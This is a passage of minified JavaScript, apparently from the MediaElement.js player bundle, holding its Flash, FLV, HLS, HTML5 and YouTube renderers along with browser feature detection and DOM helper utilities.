0},end:function(){return e},length:1}:e}return null}return null},r["set"+e]=function(e){if("src"===t&&(e=(0,j.absolutizeUrl)(e)),null!==r.flashApi&&void 0!==r.flashApi["set_"+t])try{r.flashApi["set_"+t](e)}catch(e){}else r.flashApiStack.push({type:"set",propName:t,value:e})}},s=0,l=i.length;s<l;s++)a(i[s]);var d=_.default.html5media.methods,u=function(e){r[e]=function(){if(o)if(null!==r.flashApi){if(r.flashApi["fire_"+e])try{r.flashApi["fire_"+e]()}catch(e){}}else r.flashApiStack.push({type:"call",methodName:e})}};d.push("stop");for(var c=0,f=d.length;c<f;c++)u(d[c]);for(var p=["rendererready"],m=0,h=p.length;m<h;m++){var v=(0,L.createEvent)(p[m],r);e.dispatchEvent(v)}C.default["__ready__"+r.id]=function(){if(r.flashReady=!0,r.flashApi=k.default.getElementById("__"+r.id),r.flashApiStack.length)for(var e=0,t=r.flashApiStack.length;e<t;e++){var n=r.flashApiStack[e];if("set"===n.type){var o=n.propName,i=""+o.substring(0,1).toUpperCase()+o.substring(1);r["set"+i](n.value)}else"call"===n.type&&r[n.methodName]()}},C.default["__event__"+r.id]=function(e,t){var n=(0,L.createEvent)(e,r);if(t)try{n.data=JSON.parse(t),n.details.data=JSON.parse(t)}catch(e){n.message=t}r.mediaElement.dispatchEvent(n)},r.flashWrapper=k.default.createElement("div"),-1===["always","sameDomain"].indexOf(r.options.shimScriptAccess)&&(r.options.shimScriptAccess="sameDomain");var g=e.originalNode.autoplay,y=["uid="+r.id,"autoplay="+g,"allowScriptAccess="+r.options.shimScriptAccess,"preload="+(e.originalNode.getAttribute("preload")||"")],E=null!==e.originalNode&&"video"===e.originalNode.tagName.toLowerCase(),b=E?e.originalNode.height:1,S=E?e.originalNode.width:1;e.originalNode.getAttribute("src")&&y.push("src="+e.originalNode.getAttribute("src")),!0===r.options.enablePseudoStreaming&&(y.push("pseudostreamstart="+r.options.pseudoStreamingStartQueryParam),y.push("pseudostreamtype="+r.options.pseudoStreamingType)),r.options.streamDelimiter&&y.push("streamdelimiter="+encodeURIComponent(r.options.streamDelimiter)),r.options.proxyType&&y.push("proxytype="+r.options.proxyType),e.appendChild(r.flashWrapper),e.originalNode.style.display="none";var x=[];if(F.IS_IE||F.IS_EDGE){var w=k.default.createElement("div");r.flashWrapper.appendChild(w),x=F.IS_EDGE?['type="application/x-shockwave-flash"','data="'+r.options.pluginPath+r.options.filename+'"','id="__'+r.id+'"','width="'+S+'"','height="'+b+"'\""]:['classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"','codebase="//download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"','id="__'+r.id+'"','width="'+S+'"','height="'+b+'"'],E||x.push('style="clip: rect(0 0 0 0); position: absolute;"'),w.outerHTML="<object "+x.join(" ")+'><param name="movie" value="'+r.options.pluginPath+r.options.filename+"?x="+new Date+'" /><param name="flashvars" value="'+y.join("&")+'" /><param name="quality" value="high" /><param name="bgcolor" value="#000000" /><param name="wmode" value="transparent" /><param name="allowScriptAccess" value="'+r.options.shimScriptAccess+'" /><param name="allowFullScreen" value="true" /><div>'+N.default.t("mejs.install-flash")+"</div></object>"}else x=['id="__'+r.id+'"','name="__'+r.id+'"','play="true"','loop="false"','quality="high"','bgcolor="#000000"','wmode="transparent"','allowScriptAccess="'+r.options.shimScriptAccess+'"','allowFullScreen="true"','type="application/x-shockwave-flash"','pluginspage="//www.macromedia.com/go/getflashplayer"','src="'+r.options.pluginPath+r.options.filename+'"','flashvars="'+y.join("&")+'"'],E?(x.push('width="'+S+'"'),x.push('height="'+b+'"')):x.push('style="position: fixed; left: -9999em; top: -9999em;"'),r.flashWrapper.innerHTML="<embed "+x.join(" ")+">";if(r.flashNode=r.flashWrapper.lastChild,r.hide=function(){o=!1,E&&(r.flashNode.style.display="none")},r.show=function(){o=!0,E&&(r.flashNode.style.display="")},r.setSize=function(e,t){r.flashNode.style.width=e+"px",r.flashNode.style.height=t+"px",null!==r.flashApi&&"function"==typeof r.flashApi.fire_setSize&&r.flashApi.fire_setSize(e,t)},r.destroy=function(){r.flashNode.remove()},n&&0<n.length)for(var P=0,T=n.length;P<T;P++)if(A.renderer.renderers[t.prefix].canPlayType(n[P].type)){r.setSrc(n[P].src);break}return r}};if(r.hasPluginVersion("flash",[10,0,0])){j.typeChecks.push(function(e){return(e=e.toLowerCase()).startsWith("rtmp")?~e.indexOf(".mp3")?"audio/rtmp":"video/rtmp":/\.og(a|g)/i.test(e)?"audio/ogg":~e.indexOf(".m3u8")?"application/x-mpegURL":~e.indexOf(".mpd")?"application/dash+xml":~e.indexOf(".flv")?"video/flv":null});var a={name:"flash_video",options:{prefix:"flash_video",filename:"mediaelement-flash-video.swf",enablePseudoStreaming:!1,pseudoStreamingStartQueryParam:"start",pseudoStreamingType:"byte",proxyType:"",streamDelimiter:""},canPlayType:function(e){return~["video/mp4","video/rtmp","audio/rtmp","rtmp/mp4","audio/mp4","video/flv","video/x-flv"].indexOf(e.toLowerCase())},create:i.create};A.renderer.add(a);var s={name:"flash_hls",options:{prefix:"flash_hls",filename:"mediaelement-flash-video-hls.swf"},canPlayType:function(e){return~["application/x-mpegurl","application/vnd.apple.mpegurl","audio/mpegurl","audio/hls","video/hls"].indexOf(e.toLowerCase())},create:i.create};A.renderer.add(s);var l={name:"flash_dash",options:{prefix:"flash_dash",filename:"mediaelement-flash-video-mdash.swf"},canPlayType:function(e){return~["application/dash+xml"].indexOf(e.toLowerCase())},create:i.create};A.renderer.add(l);var u={name:"flash_audio",options:{prefix:"flash_audio",filename:"mediaelement-flash-audio.swf"},canPlayType:function(e){return~["audio/mp3"].indexOf(e.toLowerCase())},create:i.create};A.renderer.add(u);var c={name:"flash_audio_ogg",options:{prefix:"flash_audio_ogg",filename:"mediaelement-flash-audio-ogg.swf"},canPlayType:function(e){return~["audio/ogg","audio/oga","audio/ogv"].indexOf(e.toLowerCase())},create:i.create};A.renderer.add(c)}},{2:2,25:25,27:27,28:28,3:3,5:5,7:7,8:8}],21:[function(e,t,n){"use strict";var y="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},E=a(e(3)),b=a(e(7)),S=e(8),x=e(27),o=e(25),i=e(28),r=e(26);function a(e){return e&&e.__esModule?e:{default:e}}var w={promise:null,load:function(e){return"undefined"!=typeof flvjs?w.promise=new Promise(function(e){e()}).then(function(){w._createPlayer(e)}):(e.options.path="string"==typeof e.options.path?e.options.path:"https://cdn.jsdelivr.net/npm/flv.js@latest",w.promise=w.promise||(0,r.loadScript)(e.options.path),w.promise.then(function(){w._createPlayer(e)})),w.promise},_createPlayer:function(e){flvjs.LoggingControl.enableDebug=e.options.debug,flvjs.LoggingControl.enableVerbose=e.options.debug;var t=flvjs.createPlayer(e.options,e.configs);return E.default["__ready__"+e.id](t),t}},s={name:"native_flv",options:{prefix:"native_flv",flv:{path:"https://cdn.jsdelivr.net/npm/flv.js@latest",cors:!0,debug:!1}},canPlayType:function(e){return o.HAS_MSE&&-1<["video/x-flv","video/flv"].indexOf(e.toLowerCase())},create:function(s,a,e){var t=s.originalNode,l=s.id+"_"+a.prefix,d=null,u=null;d=t.cloneNode(!0),a=Object.assign(a,s.options);for(var n=b.default.html5media.properties,c=b.default.html5media.events.concat(["click","mouseover","mouseout"]).filter(function(e){return"error"!==e}),f=function(e){var t=(0,x.createEvent)(e.type,s);s.dispatchEvent(t)},o=function(r){var e=""+r.substring(0,1).toUpperCase()+r.substring(1);d["get"+e]=function(){return null!==u?d[r]:null},d["set"+e]=function(e){if(-1===b.default.html5media.readOnlyProperties.indexOf(r))if("src"===r){if(d[r]="object"===(void 0===e?"undefined":y(e))&&e.src?e.src:e,null!==u){var t={type:"flv"};t.url=e,t.cors=a.flv.cors,t.debug=a.flv.debug,t.path=a.flv.path;var n=a.flv.configs;u.destroy();for(var o=0,i=c.length;o<i;o++)d.removeEventListener(c[o],f);(u=w._createPlayer({options:t,configs:n,id:l})).attachMediaElement(d),u.load()}}else d[r]=e}},i=0,r=n.length;i<r;i++)o(n[i]);if(E.default["__ready__"+l]=function(e){s.flvPlayer=u=e;for(var t,i=flvjs.Events,n=0,o=c.length;n<o;n++)"loadedmetadata"===(t=c[n])&&(u.unload(),u.detachMediaElement(),u.attachMediaElement(d),u.load()),d.addEventListener(t,f);var r=function(o){i.hasOwnProperty(o)&&u.on(i[o],function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return function(e,t){if("error"===e){var n=t[0]+": "+t[1]+" "+t[2].msg;s.generateError(n,d.src)}else{var o=(0,x.createEvent)(e,s);o.data=t,s.dispatchEvent(o)}}(i[o],t)})};for(var a in i)r(a)},e&&0<e.length)for(var p=0,m=e.length;p<m;p++)if(S.renderer.renderers[a.prefix].canPlayType(e[p].type)){d.setAttribute("src",e[p].src);break}d.setAttribute("id",l),t.parentNode.insertBefore(d,t),t.autoplay=!1,t.style.display="none";var h={type:"flv"};h.url=d.src,h.cors=a.flv.cors,h.debug=a.flv.debug,h.path=a.flv.path;var v=a.flv.configs;d.setSize=function(e,t){return d.style.width=e+"px",d.style.height=t+"px",d},d.hide=function(){return null!==u&&u.pause(),d.style.display="none",d},d.show=function(){return d.style.display="",d},d.destroy=function(){null!==u&&u.destroy()};var g=(0,x.createEvent)("rendererready",d);return s.dispatchEvent(g),s.promises.push(w.load({options:h,configs:v,id:l})),d}};i.typeChecks.push(function(e){return~e.toLowerCase().indexOf(".flv")?"video/flv":null}),S.renderer.add(s)},{25:25,26:26,27:27,28:28,3:3,7:7,8:8}],22:[function(e,t,n){"use strict";var y="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},E=a(e(3)),b=a(e(7)),S=e(8),x=e(27),o=e(25),i=e(28),r=e(26);function a(e){return e&&e.__esModule?e:{default:e}}var w={promise:null,load:function(e){return"undefined"!=typeof Hls?w.promise=new Promise(function(e){e()}).then(function(){w._createPlayer(e)}):(e.options.path="string"==typeof e.options.path?e.options.path:"https://cdn.jsdelivr.net/npm/hls.js@latest",w.promise=w.promise||(0,r.loadScript)(e.options.path),w.promise.then(function(){w._createPlayer(e)})),w.promise},_createPlayer:function(e){var t=new Hls(e.options);return E.default["__ready__"+e.id](t),t}},s={name:"native_hls",options:{prefix:"native_hls",hls:{path:"https://cdn.jsdelivr.net/npm/hls.js@latest",autoStartLoad:!1,debug:!1}},canPlayType:function(e){return o.HAS_MSE&&-1<["application/x-mpegurl","application/vnd.apple.mpegurl","audio/mpegurl","audio/hls","video/hls"].indexOf(e.toLowerCase())},create:function(d,i,u){var e=d.originalNode,r=d.id+"_"+i.prefix,t=e.getAttribute("preload"),n=e.autoplay,c=null,f=null,p=0,m=u.length;f=e.cloneNode(!0),(i=Object.assign(i,d.options)).hls.autoStartLoad=t&&"none"!==t||n;for(var o=b.default.html5media.properties,h=b.default.html5media.events.concat(["click","mouseover","mouseout"]).filter(function(e){return"error"!==e}),v=function(e){var t=(0,x.createEvent)(e.type,d);d.dispatchEvent(t)},a=function(o){var e=""+o.substring(0,1).toUpperCase()+o.substring(1);f["get"+e]=function(){return null!==c?f[o]:null},f["set"+e]=function(e){if(-1===b.default.html5media.readOnlyProperties.indexOf(o))if("src"===o){if(f[o]="object"===(void 0===e?"undefined":y(e))&&e.src?e.src:e,null!==c){c.destroy();for(var t=0,n=h.length;t<n;t++)f.removeEventListener(h[t],v);(c=w._createPlayer({options:i.hls,id:r})).loadSource(e),c.attachMedia(f)}}else f[o]=e}},s=0,l=o.length;s<l;s++)a(o[s]);if(E.default["__ready__"+r]=function(e){d.hlsPlayer=c=e;for(var i=Hls.Events,t=function(e){if("loadedmetadata"===e){var t=d.originalNode.src;c.detachMedia(),c.loadSource(t),c.attachMedia(f)}f.addEventListener(e,v)},n=0,o=h.length;n<o;n++)t(h[n]);var s=void 0,l=void 0,r=function(o){i.hasOwnProperty(o)&&c.on(i[o],function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return function(e,t){if("hlsError"===e&&(console.warn(t),(t=t[1]).fatal))switch(t.type){case"mediaError":var n=(new Date).getTime();if(!s||3e3<n-s)s=(new Date).getTime(),c.recoverMediaError();else if(!l||3e3<n-l)l=(new Date).getTime(),console.warn("Attempting to swap Audio Codec and recover from media error"),c.swapAudioCodec(),c.recoverMediaError();else{var o="Cannot recover, last media error recovery failed";d.generateError(o,f.src),console.error(o)}break;case"networkError":if("manifestLoadError"===t.details)if(p<m&&void 0!==u[p+1])f.setSrc(u[p++].src),f.load(),f.play();else{var i="Network error";d.generateError(i,u),console.error(i)}else{var r="Network error";d.generateError(r,u),console.error(r)}break;default:c.destroy()}else{var a=(0,x.createEvent)(e,d);a.data=t,d.dispatchEvent(a)}}(i[o],t)})};for(var a in i)r(a)},0<m)for(;p<m;p++)if(S.renderer.renderers[i.prefix].canPlayType(u[p].type)){f.setAttribute("src",u[p].src);break}"auto"===t||n||(f.addEventListener("play",function(){null!==c&&c.startLoad()}),f.addEventListener("pause",function(){null!==c&&c.stopLoad()})),f.setAttribute("id",r),e.parentNode.insertBefore(f,e),e.autoplay=!1,e.style.display="none",f.setSize=function(e,t){return f.style.width=e+"px",f.style.height=t+"px",f},f.hide=function(){return f.pause(),f.style.display="none",f},f.show=function(){return f.style.display="",f},f.destroy=function(){null!==c&&(c.stopLoad(),c.destroy())};var g=(0,x.createEvent)("rendererready",f);return d.dispatchEvent(g),d.promises.push(w.load({options:i.hls,id:r})),f}};i.typeChecks.push(function(e){return~e.toLowerCase().indexOf(".m3u8")?"application/x-mpegURL":null}),S.renderer.add(s)},{25:25,26:26,27:27,28:28,3:3,7:7,8:8}],23:[function(e,t,n){"use strict";var o=r(e(3)),g=r(e(2)),y=r(e(7)),E=e(8),b=e(27),i=e(25);function r(e){return e&&e.__esModule?e:{default:e}}var a={name:"html5",options:{prefix:"html5"},canPlayType:function(e){var t=g.default.createElement("video");return i.IS_ANDROID&&/\/mp(3|4)$/i.test(e)||~["application/x-mpegurl","vnd.apple.mpegurl","audio/mpegurl","audio/hls","video/hls"].indexOf(e.toLowerCase())&&i.SUPPORTS_NATIVE_HLS?"yes":t.canPlayType?t.canPlayType(e.toLowerCase()).replace(/no/,""):""},create:function(n,e,t){var o=n.id+"_"+e.prefix,i=!1,r=null;void 0===n.originalNode||null===n.originalNode?(r=g.default.createElement("audio"),n.appendChild(r)):r=n.originalNode,r.setAttribute("id",o);for(var a=y.default.html5media.properties,s=function(t){var e=""+t.substring(0,1).toUpperCase()+t.substring(1);r["get"+e]=function(){return r[t]},r["set"+e]=function(e){-1===y.default.html5media.readOnlyProperties.indexOf(t)&&(r[t]=e)}},l=0,d=a.length;l<d;l++)s(a[l]);for(var u,c=y.default.html5media.events.concat(["click","mouseover","mouseout"]).filter(function(e){return"error"!==e}),f=0,p=c.length;f<p;f++)u=c[f],r.addEventListener(u,function(e){if(i){var t=(0,b.createEvent)(e.type,e.target);n.dispatchEvent(t)}});r.setSize=function(e,t){return r.style.width=e+"px",r.style.height=t+"px",r},r.hide=function(){return i=!1,r.style.display="none",r},r.show=function(){return i=!0,r.style.display="",r};var m=0,h=t.length;if(0<h)for(;m<h;m++)if(E.renderer.renderers[e.prefix].canPlayType(t[m].type)){r.setAttribute("src",t[m].src);break}r.addEventListener("error",function(e){e&&e.target&&e.target.error&&4===e.target.error.code&&i&&(m<h&&void 0!==t[m+1]?(r.src=t[m++].src,r.load(),r.play()):n.generateError("Media error: Format(s) not supported or source(s) not found",t))});var v=(0,b.createEvent)("rendererready",r);return n.dispatchEvent(v),r}};o.default.HtmlMediaElement=y.default.HtmlMediaElement=a,E.renderer.add(a)},{2:2,25:25,27:27,3:3,7:7,8:8}],24:[function(e,t,n){"use strict";var w=a(e(3)),P=a(e(2)),T=a(e(7)),o=e(8),C=e(27),i=e(28),r=e(26);function a(e){return e&&e.__esModule?e:{default:e}}var k={isIframeStarted:!1,isIframeLoaded:!1,iframeQueue:[],enqueueIframe:function(e){k.isLoaded="undefined"!=typeof YT&&YT.loaded,k.isLoaded?k.createIframe(e):(k.loadIframeApi(),k.iframeQueue.push(e))},loadIframeApi:function(){k.isIframeStarted||((0,r.loadScript)("https://www.youtube.com/player_api"),k.isIframeStarted=!0)},iFrameReady:function(){for(k.isLoaded=!0,k.isIframeLoaded=!0;0<k.iframeQueue.length;){var e=k.iframeQueue.pop();k.createIframe(e)}},createIframe:function(e){return new YT.Player(e.containerId,e)},getYouTubeId:function(e){var t="";return 0<e.indexOf("?")?""===(t=k.getYouTubeIdFromParam(e))&&(t=k.getYouTubeIdFromUrl(e)):t=k.getYouTubeIdFromUrl(e),(t=t.substring(t.lastIndexOf("/")+1).split("?"))[0]},getYouTubeIdFromParam:function(e){if(null==e||!e.trim().length)return null;for(var t=e.split("?")[1].split("&"),n="",o=0,i=t.length;o<i;o++){var r=t[o].split("=");if("v"===r[0]){n=r[1];break}}return n},getYouTubeIdFromUrl:function(e){return null!=e&&e.trim().length?(e=e.split("?")[0]).substring(e.lastIndexOf("/")+1):null},getYouTubeNoCookieUrl:function(e){if(null==e||!e.trim().length||-1===e.indexOf("//www.youtube"))return e;var t=e.split("/");return t[2]=t[2].replace(".com","-nocookie.com"),t.join("/")}},s={name:"youtube_iframe",options:{prefix:"youtube_iframe",youtube:{autoplay:0,controls:0,disablekb:1,end:0,loop:0,modestbranding:0,playsinline:0,rel:0,showinfo:0,start:0,iv_load_policy:3,nocookie:!1,imageQuality:null}},canPlayType:function(e){return~["video/youtube","video/x-youtube"].indexOf(e.toLowerCase())},create:function(m,n,o){var h={},v=[],g=null,r=!0,a=!1,y=null;h.options=n,h.id=m.id+"_"+n.prefix,h.mediaElement=m;for(var e=T.default.html5media.properties,t=function(i){var e=""+i.substring(0,1).toUpperCase()+i.substring(1);h["get"+e]=function(){if(null!==g){switch(i){case"currentTime":return g.getCurrentTime();case"duration":return g.getDuration();case"volume":return g.getVolume()/100;case"playbackRate":return g.getPlaybackRate();case"paused":return r;case"ended":return a;case"muted":return g.isMuted();case"buffered":var e=g.getVideoLoadedFraction(),t=g.getDuration();return{start:function(){return 0},end:function(){return e*t},length:1};case"src":return g.getVideoUrl();case"readyState":return 4}return null}return null},h["set"+e]=function(e){if(null!==g)switch(i){case"src":var t="string"==typeof e?e:e[0].src,n=k.getYouTubeId(t);m.originalNode.autoplay?g.loadVideoById(n):g.cueVideoById(n);break;case"currentTime":g.seekTo(e);break;case"muted":e?g.mute():g.unMute(),setTimeout(function(){var e=(0,C.createEvent)("volumechange",h);m.dispatchEvent(e)},50);break;case"volume":e,g.setVolume(100*e),setTimeout(function(){var e=(0,C.createEvent)("volumechange",h);m.dispatchEvent(e)},50);break;case"playbackRate":g.setPlaybackRate(e),setTimeout(function(){var e=(0,C.createEvent)("ratechange",h);m.dispatchEvent(e)},50);break;case"readyState":var o=(0,C.createEvent)("canplay",h);m.dispatchEvent(o)}else v.push({type:"set",propName:i,value:e})}},i=0,s=e.length;i<s;i++)t(e[i]);for(var l=T.default.html5media.methods,d=function(e){h[e]=function(){if(null!==g)switch(e){case"play":return r=!1,g.playVideo();case"pause":return r=!0,g.pauseVideo();case"load":return null}else v.push({type:"call",methodName:e})}},u=0,c=l.length;u<c;u++)d(l[u]);var f=P.default.createElement("div");f.id=h.id,h.options.youtube.nocookie&&(m.originalNode.src=k.getYouTubeNoCookieUrl(o[0].src)),m.originalNode.parentNode.insertBefore(f,m.originalNode),m.originalNode.style.display="none";var p="audio"===m.originalNode.tagName.toLowerCase(),E=p?"1":m.originalNode.height,b=p?"1":m.originalNode.width,S=k.getYouTubeId(o[0].src),x={id:h.id,containerId:f.id,videoId:S,height:E,width:b,host:h.options.youtube&&h.options.youtube.nocookie?"https://www.youtube-nocookie.com":void 0,playerVars:Object.assign({controls:0,rel:0,disablekb:1,showinfo:0,modestbranding:0,html5:1,iv_load_policy:3},h.options.youtube),origin:w.default.location.host,events:{onReady:function(e){if(m.youTubeApi=g=e.target,m.youTubeState={paused:!0,ended:!1},v.length)for(var t=0,n=v.length;t<n;t++){var o=v[t];if("set"===o.type){var i=o.propName,r=""+i.substring(0,1).toUpperCase()+i.substring(1);h["set"+r](o.value)}else"call"===o.type&&h[o.methodName]()}y=g.getIframe(),m.originalNode.muted&&g.mute();for(var a=["mouseover","mouseout"],s=function(e){var t=(0,C.createEvent)(e.type,h);m.dispatchEvent(t)},l=0,d=a.length;l<d;l++)y.addEventListener(a[l],s,!1);for(var u=["rendererready","loadedmetadata","loadeddata","canplay"],c=0,f=u.length;c<f;c++){var p=(0,C.createEvent)(u[c],h);m.dispatchEvent(p)}},onStateChange:function(e){var t=[];switch(e.data){case-1:t=["loadedmetadata"],r=!0,a=!1;break;case 0:t=["ended"],r=!1,a=!h.options.youtube.loop,h.options.youtube.loop||h.stopInterval();break;case 1:t=["play","playing"],a=r=!1,h.startInterval();break;case 2:t=["pause"],r=!0,a=!1,h.stopInterval();break;case 3:t=["progress"],a=!1;break;case 5:t=["loadeddata","loadedmetadata","canplay"],r=!0,a=!1}for(var n=0,o=t.length;n<o;n++){var i=(0,C.createEvent)(t[n],h);m.dispatchEvent(i)}},onError:function(e){return function(e){var t="";switch(e.data){case 2:t="The request contains an invalid parameter value. Verify that video ID has 11 characters and that contains no invalid characters, such as exclamation points or asterisks.";break;case 5:t="The requested content cannot be played in an HTML5 player or another error related to the HTML5 player has occurred.";break;case 100:t="The video requested was not found. Either video has been removed or has been marked as private.";break;case 101:case 105:t="The owner of the requested video does not allow it to be played in embedded players.";break;default:t="Unknown error."}m.generateError("Code "+e.data+": "+t,o)}(e)}}};return(p||m.originalNode.hasAttribute("playsinline"))&&(x.playerVars.playsinline=1),m.originalNode.controls&&(x.playerVars.controls=1),m.originalNode.autoplay&&(x.playerVars.autoplay=1),m.originalNode.loop&&(x.playerVars.loop=1),(x.playerVars.loop&&1===parseInt(x.playerVars.loop,10)||-1<m.originalNode.src.indexOf("loop="))&&!x.playerVars.playlist&&-1===m.originalNode.src.indexOf("playlist=")&&(x.playerVars.playlist=k.getYouTubeId(m.originalNode.src)),k.enqueueIframe(x),h.onEvent=function(e,t,n){null!=n&&(m.youTubeState=n)},h.setSize=function(e,t){null!==g&&g.setSize(e,t)},h.hide=function(){h.stopInterval(),h.pause(),y&&(y.style.display="none")},h.show=function(){y&&(y.style.display="")},h.destroy=function(){g.destroy()},h.interval=null,h.startInterval=function(){h.interval=setInterval(function(){var e=(0,C.createEvent)("timeupdate",h);m.dispatchEvent(e)},250)},h.stopInterval=function(){h.interval&&clearInterval(h.interval)},h.getPosterUrl=function(){var e=n.youtube.imageQuality,t=k.getYouTubeId(m.originalNode.src);return e&&-1<["default","hqdefault","mqdefault","sddefault","maxresdefault"].indexOf(e)&&t?"https://img.youtube.com/vi/"+t+"/"+e+".jpg":""},h}};w.default.onYouTubePlayerAPIReady=function(){k.iFrameReady()},i.typeChecks.push(function(e){return/\/\/(www\.youtube|youtu\.?be)/i.test(e)?"video/x-youtube":null}),o.renderer.add(s)},{2:2,26:26,27:27,28:28,3:3,7:7,8:8}],25:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.cancelFullScreen=n.requestFullScreen=n.isFullScreen=n.FULLSCREEN_EVENT_NAME=n.HAS_NATIVE_FULLSCREEN_ENABLED=n.HAS_TRUE_NATIVE_FULLSCREEN=n.HAS_IOS_FULLSCREEN=n.HAS_MS_NATIVE_FULLSCREEN=n.HAS_MOZ_NATIVE_FULLSCREEN=n.HAS_WEBKIT_NATIVE_FULLSCREEN=n.HAS_NATIVE_FULLSCREEN=n.SUPPORTS_NATIVE_HLS=n.SUPPORT_PASSIVE_EVENT=n.SUPPORT_POINTER_EVENTS=n.HAS_MSE=n.IS_STOCK_ANDROID=n.IS_SAFARI=n.IS_FIREFOX=n.IS_CHROME=n.IS_EDGE=n.IS_IE=n.IS_ANDROID=n.IS_IOS=n.IS_IPOD=n.IS_IPHONE=n.IS_IPAD=n.UA=n.NAV=void 0;var i=a(e(3)),r=a(e(2)),o=a(e(7));function a(e){return e&&e.__esModule?e:{default:e}}for(var s=n.NAV=i.default.navigator,l=n.UA=s.userAgent.toLowerCase(),d=n.IS_IPAD=/ipad/i.test(l)&&!i.default.MSStream,u=n.IS_IPHONE=/iphone/i.test(l)&&!i.default.MSStream,c=n.IS_IPOD=/ipod/i.test(l)&&!i.default.MSStream,f=(n.IS_IOS=/ipad|iphone|ipod/i.test(l)&&!i.default.MSStream,n.IS_ANDROID=/android/i.test(l)),p=n.IS_IE=/(trident|microsoft)/i.test(s.appName),m=(n.IS_EDGE="msLaunchUri"in s&&!("documentMode"in r.default)),h=n.IS_CHROME=/chrome/i.test(l),v=n.IS_FIREFOX=/firefox/i.test(l),g=n.IS_SAFARI=/safari/i.test(l)&&!h,y=n.IS_STOCK_ANDROID=/^mozilla\/\d+\.\d+\s\(linux;\su;/i.test(l),E=(n.HAS_MSE="MediaSource"in i.default),b=n.SUPPORT_POINTER_EVENTS=function(){var e=r.default.createElement("x"),t=r.default.documentElement,n=i.default.getComputedStyle;if(!("pointerEvents"in e.style))return!1;e.style.pointerEvents="auto",e.style.pointerEvents="x",t.appendChild(e);var o=n&&"auto"===(n(e,"")||{}).pointerEvents;return e.remove(),!!o}(),S=n.SUPPORT_PASSIVE_EVENT=function(){var e=!1;try{var t=Object.defineProperty({},"passive",{get:function(){e=!0}});i.default.addEventListener("test",null,t)}catch(e){}return e}(),x=["source","track","audio","video"],w=void 0,P=0,T=x.length;P<T;P++)w=r.default.createElement(x[P]);var C=n.SUPPORTS_NATIVE_HLS=g||p&&/edge/i.test(l),k=void 0!==w.webkitEnterFullscreen,_=void 0!==w.requestFullscreen;k&&/mac os x 10_5/i.test(l)&&(k=_=!1);var N=void 0!==w.webkitRequestFullScreen,A=void 0!==w.mozRequestFullScreen,L=void 0!==w.msRequestFullscreen,F=N||A||L,j=F,I="",M=void 0,O=void 0,D=void 0;A?j=r.default.mozFullScreenEnabled:L&&(j=r.default.msFullscreenEnabled),h&&(k=!1),F&&(N?I="webkitfullscreenchange":A?I="fullscreenchange":L&&(I="MSFullscreenChange"),n.isFullScreen=M=function(){return A?r.default.mozFullScreen:N?r.default.webkitIsFullScreen:L?null!==r.default.msFullscreenElement:void 0},n.requestFullScreen=O=function(e){N?e.webkitRequestFullScreen():A?e.mozRequestFullScreen():L&&e.msRequestFullscreen()},n.cancelFullScreen=D=function(){N?r.default.webkitCancelFullScreen():A?r.default.mozCancelFullScreen():L&&r.default.msExitFullscreen()});var R=n.HAS_NATIVE_FULLSCREEN=_,V=n.HAS_WEBKIT_NATIVE_FULLSCREEN=N,H=n.HAS_MOZ_NATIVE_FULLSCREEN=A,U=n.HAS_MS_NATIVE_FULLSCREEN=L,q=n.HAS_IOS_FULLSCREEN=k,B=n.HAS_TRUE_NATIVE_FULLSCREEN=F,z=n.HAS_NATIVE_FULLSCREEN_ENABLED=j,W=n.FULLSCREEN_EVENT_NAME=I;n.isFullScreen=M,n.requestFullScreen=O,n.cancelFullScreen=D,o.default.Features=o.default.Features||{},o.default.Features.isiPad=d,o.default.Features.isiPod=c,o.default.Features.isiPhone=u,o.default.Features.isiOS=o.default.Features.isiPhone||o.default.Features.isiPad,o.default.Features.isAndroid=f,o.default.Features.isIE=p,o.default.Features.isEdge=m,o.default.Features.isChrome=h,o.default.Features.isFirefox=v,o.default.Features.isSafari=g,o.default.Features.isStockAndroid=y,o.default.Features.hasMSE=E,o.default.Features.supportsNativeHLS=C,o.default.Features.supportsPointerEvents=b,o.default.Features.supportsPassiveEvent=S,o.default.Features.hasiOSFullScreen=q,o.default.Features.hasNativeFullscreen=R,o.default.Features.hasWebkitNativeFullScreen=V,o.default.Features.hasMozNativeFullScreen=H,o.default.Features.hasMsNativeFullScreen=U,o.default.Features.hasTrueNativeFullScreen=B,o.default.Features.nativeFullScreenEnabled=z,o.default.Features.fullScreenEventName=W,o.default.Features.isFullScreen=M,o.default.Features.requestFullScreen=O,o.default.Features.cancelFullScreen=D},{2:2,3:3,7:7}],26:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.removeClass=n.addClass=n.hasClass=void 0,n.loadScript=a,n.offset=s,n.toggleClass=h,n.fadeOut=v,n.fadeIn=g,n.siblings=y,n.visible=E,n.ajax=b;var l=r(e(3)),i=r(e(2)),o=r(e(7));function r(e){return e&&e.__esModule?e:{default:e}}function a(o){return new Promise(function(e,t){var n=i.default.createElement("script");n.src=o,n.async=!0,n.onload=function(){n.remove(),e()},n.onerror=function(){n.remove(),t()},i.default.head.appendChild(n)})}function s(e){var t=e.getBoundingClientRect(),n=l.default.pageXOffset||i.default.documentElement.scrollLeft,o=l.default.pageYOffset||i.default.documentElement.scrollTop;return{top:t.top+o,left:t.left+n}}var d=void 0,u=void 0,c=void 0;"classList"in i.default.documentElement?(d=function(e,t){return void 0!==e.classList&&e.classList.contains(t)},u=function(e,t){return e.classList.add(t)},c=function(e,t){return e.classList.remove(t)}):(d=function(e,t){return new RegExp("\\b"+t+"\\b").test(e.className)},u=function(e,t){f(e,t)||(e.className+=" "+t)},c=function(e,t){e.className=e.className.replace(new RegExp("\\b"+t+"\\b","g"),"")});var f=n.hasClass=d,p=n.addClass=u,m=n.removeClass=c;function h(e,t){f(e,t)?m(e,t):p(e,t)}function v(i){var r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:400,a=arguments[2];i.style.opacity||(i.style.opacity=1);var 